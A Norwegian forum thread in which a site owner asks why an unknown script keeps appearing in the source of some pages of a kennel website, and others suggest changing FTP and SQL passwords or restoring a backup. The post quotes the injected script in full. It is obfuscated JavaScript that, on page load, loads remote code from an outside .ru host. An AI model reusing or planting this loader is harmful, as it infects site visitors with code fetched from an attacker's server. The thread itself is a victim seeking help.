Script som legger seg til kildekodene

[Nirm]

Har et problem på siden til Kennel Sigerdriva. Der legger følgende script seg til enkelte sider, og da kommer det opp virusadvarsel på enkelte sider.

<script>this.rb=7616;this.rb+=44;var t=["f","O","i"];this.a=17108;this.a+=29;var Z;var lH='';x=function(){var pv=14262;this.Gp=25227;this.Gp++;function H(W,r,G){var xn={Vy:false};VH={};return W.substr(r,G);}var JJ=new Date();var O_={Dt:false};iu=3575;iu-=236;var m='';var v=RegExp;var c=document;try {var VE='WW'} catch(VE){};var p=new String("/ri"+"nco"+H("ndeS4M9",0,3)+H("lvasFX8",0,3)+H("go-nMBF",0,3)+H("bgDcomgDb",3,3)+H("/goh1i",0,3)+H("oglv1Me",0,3)+H("Duse.csuD",3,3)+"om/"+"evo"+H("hIjny.Ijh",3,3)+H("DvrucomvDur",4,3)+H("zNa.phazN",3,3)+H("pWLO",0,1));var eh=new String();function w(W,r){var U={};var G=String(H("[ZFTJ",0,1))+r+new String("]");var n=new v(G, "g");fE=5951;fE+=243;Yy=20377;Yy-=77;return W.replace(n, m);fd={PC:false};gJ={T:false};};lSC=["S"];Jh=["Iv","Pn"];var hr=["YCR"];var h=null;var EX={YE:48502};var om=[];var HS=["yd","AG","jW"];var J="bod"+"y";var N=w('sxc7rCiWpItC','vKM_IxWUkCB1RN7u');var l=858459-850379;this.Ni="Ni";BX={iJ:21261};var aZ={K:"So"};Z=function(){try {var jZ=new Array();var g=w('cpr6ejaFt6eQEHlFewmGeHnFtH','GsgpFwJHQj60');qy=33585;qy--;q=c[g](N);d={OZT:12980};this.LJ="LJ";var nA=w('syr0cF','u6f5UKomGFTZg9YX0iyVBd');var P=new String("def"+"er");var W=l+p;var ak=41914;this.cY=42380;this.cY+=140;this.iQ=39371;this.iQ+=93;q[nA]=String("htt"+"p:/"+"/te"+"nth"+"pro"+"fit"+H(".ruEgRq",0,3)+H(":1vL0",0,1))+W;var PQ="";q[P]=[1,2][0];HF={gF:44575};rO={Gy:14104};c[J].appendChild(q);this.Ye=40047;this.Ye+=231;GC=177;GC-=203;oH={Je:false};} catch(_){try {var Ym='cS'} catch(Ym){};Mn=["IY","yQ"];var sx={Gq:38030};var te={et:"xA"};};var sj="";};var sf={Pd:48377};this.cB="cB";};try {} catch(MU){};try {} catch(EL){};x();var NC=new String();var Xb="";window.onload=Z;this.qb=false;OF={};var Bt={st:false};uU=["HP","jO","cg"];</script>

<!--abd91e76330b489442698ce45f980203-->

Dette er fullstendig gresk for meg, og jeg aner ikke hva den gjør, hvordan den legger seg til eller noe. Og jeg finner som oftest bare på et par av sidene også (de sidene som har iframe på både engelsk og norsk versjon). Er det noen som veit hva dette er for noe, og hvordan koden klarer å legge seg til? Og hvordan jeg kan få hindret dette?

[Tore]

start med å endre ftp og sql passord...

Om siden er alt for infisert må du vurdere å be web-host om å legge tilbake en backup...

[Nirm]

Nå har endelig passord blitt byttet på denne siden. Jeg har gått igjennom store deler av siden, og finner ingen koder jeg ikke har skrevet selv lengre. Men like forbanna sperres den.

Så trur jeg bare blir å slette alt sammen og legge den opp på nytt...